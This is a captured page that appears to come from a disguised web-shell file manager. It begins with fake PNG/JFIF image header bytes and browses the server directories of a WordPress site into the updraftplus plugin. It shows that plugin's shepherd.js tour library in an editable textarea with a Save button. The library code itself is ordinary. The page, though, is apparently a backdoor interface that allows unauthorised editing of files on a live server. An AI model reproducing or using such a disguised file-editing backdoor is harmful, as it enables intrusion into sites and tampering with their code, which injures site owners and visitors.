�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2F'>www.nib.st</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fupdraftplus%2F'>updraftplus</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fupdraftplus%2Fincludes%2F'>includes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fupdraftplus%2Fincludes%2Ftether-shepherd%2F'>tether-shepherd</a>/</p><hr><h3>✏️ Editing: shepherd.js</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/*! tether-shepherd 1.8.1 */

(function(root, factory) {
  if (typeof define === &#039;function&#039; &amp;&amp; define.amd) {
    define([&quot;tether&quot;], factory);
  } else if (typeof exports === &#039;object&#039;) {
    module.exports = factory(require(&#039;tether&#039;));
  } else {
    root.Shepherd = factory(root.Tether);
  }
}(this, function(Tether) {

/* global Tether */

&#039;use strict&#039;;

var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i &lt; props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (&#039;value&#039; in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();

var _get = function get(_x5, _x6, _x7) { var _again = true; _function: while (_again) { var object = _x5, property = _x6, receiver = _x7; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x5 = parent; _x6 = property; _x7 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if (&#039;value&#039; in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(&#039;Cannot call a class as a function&#039;); } }

function _inherits(subClass, superClass) { if (typeof superClass !== &#039;function&#039; &amp;&amp; superClass !== null) { throw new TypeError(&#039;Super expression must either be null or a function, not &#039; + typeof superClass); } subClass.prototype = Object.create(superClass &amp;&amp; superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var _Tether$Utils = Tether.Utils;
var Evented = _Tether$Utils.Evented;
var addClass = _Tether$Utils.addClass;
var extend = _Tether$Utils.extend;
var hasClass = _Tether$Utils.hasClass;
var removeClass = _Tether$Utils.removeClass;
var uniqueId = _Tether$Utils.uniqueId;

var Shepherd = new Evented();

function isUndefined(obj) {
  return typeof obj === &#039;undefined&#039;;
};

function isArray(obj) {
  return obj &amp;&amp; obj.constructor === Array;
};

function isObject(obj) {
  return obj &amp;&amp; obj.constructor === Object;
};

function isObjectLoose(obj) {
  return typeof obj === &#039;object&#039;;
};

var ATTACHMENT = {
  &#039;top right&#039;: &#039;bottom left&#039;,
  &#039;top left&#039;: &#039;bottom right&#039;,
  &#039;top center&#039;: &#039;bottom center&#039;,
  &#039;middle right&#039;: &#039;middle left&#039;,
  &#039;middle left&#039;: &#039;middle right&#039;,
  &#039;middle center&#039;: &#039;middle center&#039;,
  &#039;bottom left&#039;: &#039;top right&#039;,
  &#039;bottom right&#039;: &#039;top left&#039;,
  &#039;bottom center&#039;: &#039;top center&#039;,
  &#039;top&#039;: &#039;bottom center&#039;,
  &#039;left&#039;: &#039;middle right&#039;,
  &#039;right&#039;: &#039;middle left&#039;,
  &#039;bottom&#039;: &#039;top center&#039;,
  &#039;center&#039;: &#039;middle center&#039;,
  &#039;middle&#039;: &#039;middle center&#039;
};

function createFromHTML(html) {
  var el = document.createElement(&#039;div&#039;);
  el.innerHTML = html;
  return el.children[0];
}

function matchesSelector(el, sel) {
  var matches = undefined;
  if (!isUndefined(el.matches)) {
    matches = el.matches;
  } else if (!isUndefined(el.matchesSelector)) {
    matches = el.matchesSelector;
  } else if (!isUndefined(el.msMatchesSelector)) {
    matches = el.msMatchesSelector;
  } else if (!isUndefined(el.webkitMatchesSelector)) {
    matches = el.webkitMatchesSelector;
  } else if (!isUndefined(el.mozMatchesSelector)) {
    matches = el.mozMatchesSelector;
  } else if (!isUndefined(el.oMatchesSelector)) {
    matches = el.oMatchesSelector;
  }
  return matches.call(el, sel);
}

var positionRe = /^(.+) (top|left|right|bottom|center|\[[a-z ]+\])$/;

function parsePosition(str) {
  if (isObjectLoose(str)) {
    if (str.hasOwnProperty(&quot;element&quot;) &amp;&amp; str.hasOwnProperty(&quot;on&quot;)) {
      return str;
    }
    return null;
  }

  var matches = positionRe.exec(str);
  if (!matches) {
    return null;
  }

  var on = matches[2];
  if (on[0] === &#039;[&#039;) {
    on = on.substring(1, on.length - 1);
  }

  return {
    &#039;element&#039;: matches[1],
    &#039;on&#039;: on
  };
}

function parseShorthand(obj, props) {
  if (obj === null || isUndefined(obj)) {
    return obj;
  } else if (isObjectLoose(obj)) {
    return obj;
  }

  var vals = obj.split(&#039; &#039;);
  var out = {};
  var j = props.length - 1;
  for (var i = vals.length - 1; i &gt;= 0; i--) {
    if (j === 0) {
      out[props[j]] = vals.slice(0, i + 1).join(&#039; &#039;);
      break;
    } else {
      out[props[j]] = vals[i];
    }

    j--;
  }

  return out;
}

var Step = (function (_Evented) {
  _inherits(Step, _Evented);

  function Step(tour, options) {
    _classCallCheck(this, Step);

    _get(Object.getPrototypeOf(Step.prototype), &#039;constructor&#039;, this).call(this, tour, options);
    this.tour = tour;
    this.bindMethods();
    this.setOptions(options);
    return this;
  }

  _createClass(Step, [{
    key: &#039;bindMethods&#039;,
    value: function bindMethods() {
      var _this = this;

      var methods = [&#039;_show&#039;, &#039;show&#039;, &#039;hide&#039;, &#039;isOpen&#039;, &#039;cancel&#039;, &#039;complete&#039;, &#039;scrollTo&#039;, &#039;destroy&#039;, &#039;render&#039;];
      methods.map(function (method) {
        _this[method] = _this[method].bind(_this);
      });
    }
  }, {
    key: &#039;setOptions&#039;,
    value: function setOptions() {
      var options = arguments.length &lt;= 0 || arguments[0] === undefined ? {} : arguments[0];

      this.options = options;
      this.destroy();

      this.id = this.options.id || this.id || &#039;step-&#039; + uniqueId();

      var when = this.options.when;
      if (when) {
        for (var _event in when) {
          if (({}).hasOwnProperty.call(when, _event)) {
            var handler = when[_event];
            this.on(_event, handler, this);
          }
        }
      }

      // Button configuration

      var buttonsJson = JSON.stringify(this.options.buttons);
      var buttonsAreDefault = isUndefined(buttonsJson) || buttonsJson === &quot;true&quot;;

      var buttonsAreEmpty = buttonsJson === &quot;{}&quot; || buttonsJson === &quot;[]&quot; || buttonsJson === &quot;null&quot; || buttonsJson === &quot;false&quot;;

      var buttonsAreArray = !buttonsAreDefault &amp;&amp; isArray(this.options.buttons);

      var buttonsAreObject = !buttonsAreDefault &amp;&amp; isObject(this.options.buttons);

      // Show default button if undefined or &#039;true&#039;
      if (buttonsAreDefault) {
        this.options.buttons = [{
          text: &#039;Next&#039;,
          action: this.tour.next,
          classes: &#039;btn&#039;
        }];

        // Can pass in an object which will assume asingle button
      } else if (!buttonsAreEmpty &amp;&amp; buttonsAreObject) {
          this.options.buttons = [this.options.buttons];

          // Falsey/empty values or non-object values prevent buttons from rendering
        } else if (buttonsAreEmpty || !buttonsAreArray) {
            this.options.buttons = false;
          }
    }
  }, {
    key: &#039;getTour&#039;,
    value: function getTour() {
      return this.tour;
    }
  }, {
    key: &#039;bindAdvance&#039;,
    value: function bindAdvance() {
      var _this2 = this;

      // An empty selector matches the step element

      var _parseShorthand = parseShorthand(this.options.advanceOn, [&#039;selector&#039;, &#039;event&#039;]);

      var event = _parseShorthand.event;
      var selector = _parseShorthand.selector;

      var handler = function handler(e) {
        if (!_this2.isOpen()) {
          return;
        }

        if (!isUndefined(selector)) {
          if (matchesSelector(e.target, selector)) {
            _this2.tour.next();
          }
        } else {
          if (_this2.el &amp;&amp; e.target === _this2.el) {
            _this2.tour.next();
          }
        }
      };

      // TODO: this should also bind/unbind on show/hide
      document.body.addEventListener(event, handler);
      this.on(&#039;destroy&#039;, function () {
        return document.body.removeEventListener(event, handler);
      });
    }
  }, {
    key: &#039;getAttachTo&#039;,
    value: function getAttachTo() {
      var opts = parsePosition(this.options.attachTo) || {};
      var returnOpts = extend({}, opts);

      if (typeof opts.element === &#039;string&#039;) {
        // Can&#039;t override the element in user opts reference because we can&#039;t
        // guarantee that the element will exist in the future.
        returnOpts.element = document.querySelector(opts.element);
        if (!returnOpts.element) {
          console.error(&#039;The element for this Shepherd step was not found &#039; + opts.element);
        }
      }

      return returnOpts;
    }
  }, {
    key: &#039;setupTether&#039;,
    value: function setupTether() {
      if (isUndefined(Tether)) {
        throw new Error(&quot;Using the attachment feature of Shepherd requires the Tether library&quot;);
      }

      var opts = this.getAttachTo();
      var attachment = ATTACHMENT[opts.on] || ATTACHMENT.right;
      if (isUndefined(opts.element)) {
        opts.element = &#039;viewport&#039;;
        attachment = &#039;middle center&#039;;
      }

      var tetherOpts = {
        classPrefix: &#039;shepherd&#039;,
        element: this.el,
        constraints: [{
          to: &#039;window&#039;,
          pin: true,
          attachment: &#039;together&#039;
        }],
        target: opts.element,
        offset: opts.offset || &#039;0 0&#039;,
        attachment: attachment
      };

      if (this.tether) {
        this.tether.destroy();
      }

      this.tether = new Tether(extend(tetherOpts, this.options.tetherOptions));
    }
  }, {
    key: &#039;show&#039;,
    value: function show() {
      var _this3 = this;

      if (!isUndefined(this.options.beforeShowPromise)) {
        var beforeShowPromise = this.options.beforeShowPromise();
        if (!isUndefined(beforeShowPromise)) {
          return beforeShowPromise.then(function () {
            return _this3._show();
          });
        }
      }
      this._show();
    }
  }, {
    key: &#039;_show&#039;,
    value: function _show() {
      var _this4 = this;

      this.trigger(&#039;before-show&#039;);

      if (!this.el) {
        this.render();
      }

      addClass(this.el, &#039;shepherd-open&#039;);

      document.body.setAttribute(&#039;data-shepherd-step&#039;, this.id);

      this.setupTether();

      if (this.options.scrollTo) {
        setTimeout(function () {
          _this4.scrollTo();
        });
      }

      this.trigger(&#039;show&#039;);
    }
  }, {
    key: &#039;hide&#039;,
    value: function hide() {
      this.trigger(&#039;before-hide&#039;);

      removeClass(this.el, &#039;shepherd-open&#039;);

      document.body.removeAttribute(&#039;data-shepherd-step&#039;);

      if (this.tether) {
        this.tether.destroy();
      }
      this.tether = null;

      this.trigger(&#039;hide&#039;);
    }
  }, {
    key: &#039;isOpen&#039;,
    value: function isOpen() {
      return this.el &amp;&amp; hasClass(this.el, &#039;shepherd-open&#039;);
    }
  }, {
    key: &#039;cancel&#039;,
    value: function cancel() {
      this.tour.cancel();
      this.trigger(&#039;cancel&#039;);
    }
  }, {
    key: &#039;complete&#039;,
    value: function complete() {
      this.tour.complete();
      this.trigger(&#039;complete&#039;);
    }
  }, {
    key: &#039;scrollTo&#039;,
    value: function scrollTo() {
      var _getAttachTo = this.getAttachTo();

      var element = _getAttachTo.element;

      if (!isUndefined(this.options.scrollToHandler)) {
        this.options.scrollToHandler(element);
      } else if (!isUndefined(element)) {
        element.scrollIntoView();
      }
    }
  }, {
    key: &#039;destroy&#039;,
    value: function destroy() {
      if (!isUndefined(this.el) &amp;&amp; this.el.parentNode) {
        this.el.parentNode.removeChild(this.el);
        delete this.el;
      }

      if (this.tether) {
        this.tether.destroy();
      }
      this.tether = null;

      this.trigger(&#039;destroy&#039;);
    }
  }, {
    key: &#039;render&#039;,
    value: function render() {
      var _this5 = this;

      if (!isUndefined(this.el)) {
        this.destroy();
      }

      this.el = createFromHTML(&#039;&lt;div class=\&#039;shepherd-step &#039; + (this.options.classes || &#039;&#039;) + &#039;\&#039; data-id=\&#039;&#039; + this.id + &#039;\&#039; &#039; + (this.options.idAttribute ? &#039;id=&quot;&#039; + this.options.idAttribute + &#039;&quot;&#039; : &#039;&#039;) + &#039;&gt;&lt;/div&gt;&#039;);

      var content = document.createElement(&#039;div&#039;);
      content.className = &#039;shepherd-content&#039;;
      this.el.appendChild(content);

      var header = document.createElement(&#039;header&#039;);
      content.appendChild(header);

      if (this.options.title) {
        header.innerHTML += &#039;&lt;h3 class=\&#039;shepherd-title\&#039;&gt;&#039; + this.options.title + &#039;&lt;/h3&gt;&#039;;
        this.el.className += &#039; shepherd-has-title&#039;;
      }

      if (this.options.showCancelLink) {
        var link = createFromHTML(&quot;&lt;a href class=&#039;shepherd-cancel-link&#039;&gt;✕&lt;/a&gt;&quot;);
        header.appendChild(link);

        this.el.className += &#039; shepherd-has-cancel-link&#039;;

        this.bindCancelLink(link);
      }

      if (!isUndefined(this.options.text)) {
        (function () {
          var text = createFromHTML(&quot;&lt;div class=&#039;shepherd-text&#039;&gt;&lt;/div&gt;&quot;);
          var paragraphs = _this5.options.text;

          if (typeof paragraphs === &#039;function&#039;) {
            paragraphs = paragraphs.call(_this5, text);
          }

          if (paragraphs instanceof HTMLElement) {
            text.appendChild(paragraphs);
          } else {
            if (typeof paragraphs === &#039;string&#039;) {
              paragraphs = [paragraphs];
            }

            paragraphs.map(function (paragraph) {
              text.innerHTML += &#039;&lt;p&gt;&#039; + paragraph + &#039;&lt;/p&gt;&#039;;
            });
          }

          content.appendChild(text);
        })();
      }

      if (this.options.buttons) {
        (function () {
          var footer = document.createElement(&#039;footer&#039;);
          var buttons = createFromHTML(&quot;&lt;ul class=&#039;shepherd-buttons&#039;&gt;&lt;/ul&gt;&quot;);

          _this5.options.buttons.map(function (cfg) {
            var button = createFromHTML(&#039;&lt;li&gt;&lt;a class=\&#039;shepherd-button &#039; + (cfg.classes || &#039;&#039;) + &#039;\&#039;&gt;&#039; + cfg.text + &#039;&lt;/a&gt;&#039;);
            buttons.appendChild(button);
            _this5.bindButtonEvents(cfg, button.querySelector(&#039;a&#039;));
          });

          footer.appendChild(buttons);
          content.appendChild(footer);
        })();
      }

      document.body.appendChild(this.el);

      this.setupTether();

      if (this.options.advanceOn) {
        this.bindAdvance();
      }
    }
  }, {
    key: &#039;bindCancelLink&#039;,
    value: function bindCancelLink(link) {
      var _this6 = this;

      link.addEventListener(&#039;click&#039;, function (e) {
        e.preventDefault();
        _this6.cancel();
      });
    }
  }, {
    key: &#039;bindButtonEvents&#039;,
    value: function bindButtonEvents(cfg, el) {
      var _this7 = this;

      cfg.events = cfg.events || {};
      if (!isUndefined(cfg.action)) {
        // Including both a click event and an action is not supported
        cfg.events.click = cfg.action;
      }

      for (var _event2 in cfg.events) {
        if (({}).hasOwnProperty.call(cfg.events, _event2)) {
          var handler = cfg.events[_event2];
          if (typeof handler === &#039;string&#039;) {
            (function () {
              var page = handler;
              handler = function () {
                return _this7.tour.show(page);
              };
            })();
          }
          el.addEventListener(_event2, handler);
        }
      }

      this.on(&#039;destroy&#039;, function () {
        for (var _event3 in cfg.events) {
          if (({}).hasOwnProperty.call(cfg.events, _event3)) {
            var handler = cfg.events[_event3];
            el.removeEventListener(_event3, handler);
          }
        }
      });
    }
  }]);

  return Step;
})(Evented);

var Tour = (function (_Evented2) {
  _inherits(Tour, _Evented2);

  function Tour() {
    var _this8 = this;

    var options = arguments.length &lt;= 0 || arguments[0] === undefined ? {} : arguments[0];

    _classCallCheck(this, Tour);

    _get(Object.getPrototypeOf(Tour.prototype), &#039;constructor&#039;, this).call(this, options);
    this.bindMethods();
    this.options = options;
    this.steps = this.options.steps || [];

    // Pass these events onto the global Shepherd object
    var events = [&#039;complete&#039;, &#039;cancel&#039;, &#039;hide&#039;, &#039;start&#039;, &#039;show&#039;, &#039;active&#039;, &#039;inactive&#039;];
    events.map(function (event) {
      (function (e) {
        _this8.on(e, function (opts) {
          opts = opts || {};
          opts.tour = _this8;
          Shepherd.trigger(e, opts);
        });
      })(event);
    });

    return this;
  }

  _createClass(Tour, [{
    key: &#039;bindMethods&#039;,
    value: function bindMethods() {
      var _this9 = this;

      var methods = [&#039;next&#039;, &#039;back&#039;, &#039;cancel&#039;, &#039;complete&#039;, &#039;hide&#039;];
      methods.map(function (method) {
        _this9[method] = _this9[method].bind(_this9);
      });
    }
  }, {
    key: &#039;addStep&#039;,
    value: function addStep(name, step) {
      if (isUndefined(step)) {
        step = name;
      }

      if (!(step instanceof Step)) {
        if (typeof name === &#039;string&#039; || typeof name === &#039;number&#039;) {
          step.id = name.toString();
        }
        step = extend({}, this.options.defaults, step);
        step = new Step(this, step);
      } else {
        step.tour = this;
      }

      this.steps.push(step);
      return this;
    }
  }, {
    key: &#039;removeStep&#039;,
    value: function removeStep(name) {
      var current = this.getCurrentStep();

      for (var i = 0; i &lt; this.steps.length; ++i) {
        var step = this.steps[i];
        if (step.id === name) {
          if (step.isOpen()) {
            step.hide();
          }
          step.destroy();
          this.steps.splice(i, 1);
          break;
        }
      }

      if (current &amp;&amp; current.id === name) {
        this.currentStep = undefined;

        if (this.steps.length) this.show(0);else this.hide();
      }
    }
  }, {
    key: &#039;getById&#039;,
    value: function getById(id) {
      for (var i = 0; i &lt; this.steps.length; ++i) {
        var step = this.steps[i];
        if (step.id === id) {
          return step;
        }
      }
    }
  }, {
    key: &#039;getCurrentStep&#039;,
    value: function getCurrentStep() {
      return this.currentStep;
    }
  }, {
    key: &#039;next&#039;,
    value: function next() {
      var index = this.steps.indexOf(this.currentStep);

      if (index === this.steps.length - 1) {
        this.hide(index);
        this.trigger(&#039;complete&#039;);
        this.done();
      } else {
        this.show(index + 1, true);
      }
    }
  }, {
    key: &#039;back&#039;,
    value: function back() {
      var index = this.steps.indexOf(this.currentStep);
      this.show(index - 1, false);
    }
  }, {
    key: &#039;cancel&#039;,
    value: function cancel() {
      if (this.currentStep) {
        this.currentStep.hide();
      }
      this.trigger(&#039;cancel&#039;);
      this.done();
    }
  }, {
    key: &#039;complete&#039;,
    value: function complete() {
      if (this.currentStep) {
        this.currentStep.hide();
      }
      this.trigger(&#039;complete&#039;);
      this.done();
    }
  }, {
    key: &#039;hide&#039;,
    value: function hide() {
      if (this.currentStep) {
        this.currentStep.hide();
      }
      this.trigger(&#039;hide&#039;);
      this.done();
    }
  }, {
    key: &#039;done&#039;,
    value: function done() {
      Shepherd.activeTour = null;
      removeClass(document.body, &#039;shepherd-active&#039;);
      this.trigger(&#039;inactive&#039;, { tour: this });
    }
  }, {
    key: &#039;show&#039;,
    value: function show() {
      var key = arguments.length &lt;= 0 || arguments[0] === undefined ? 0 : arguments[0];
      var forward = arguments.length &lt;= 1 || arguments[1] === undefined ? true : arguments[1];

      if (this.currentStep) {
        this.currentStep.hide();
      } else {
        addClass(document.body, &#039;shepherd-active&#039;);
        this.trigger(&#039;active&#039;, { tour: this });
      }

      Shepherd.activeTour = this;

      var next = undefined;

      if (typeof key === &#039;string&#039;) {
        next = this.getById(key);
      } else {
        next = this.steps[key];
      }

      if (next) {
        if (!isUndefined(next.options.showOn) &amp;&amp; !next.options.showOn()) {
          var index = this.steps.indexOf(next);
          var nextIndex = forward ? index + 1 : index - 1;
          this.show(nextIndex, forward);
        } else {
          this.trigger(&#039;show&#039;, {
            step: next,
            previous: this.currentStep
          });

          if (this.currentStep) {
            this.currentStep.hide();
          }

          this.currentStep = next;
          next.show();
        }
      }
    }
  }, {
    key: &#039;start&#039;,
    value: function start() {
      this.trigger(&#039;start&#039;);

      this.currentStep = null;
      this.next();
    }
  }]);

  return Tour;
})(Evented);

extend(Shepherd, { Tour: Tour, Step: Step, Evented: Evented });
return Shepherd;

}));
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.nib.st%2Fhtdocs%2Fwp-content%2Fplugins%2Fupdraftplus%2Fincludes%2Ftether-shepherd'>🔙 Back</a></p>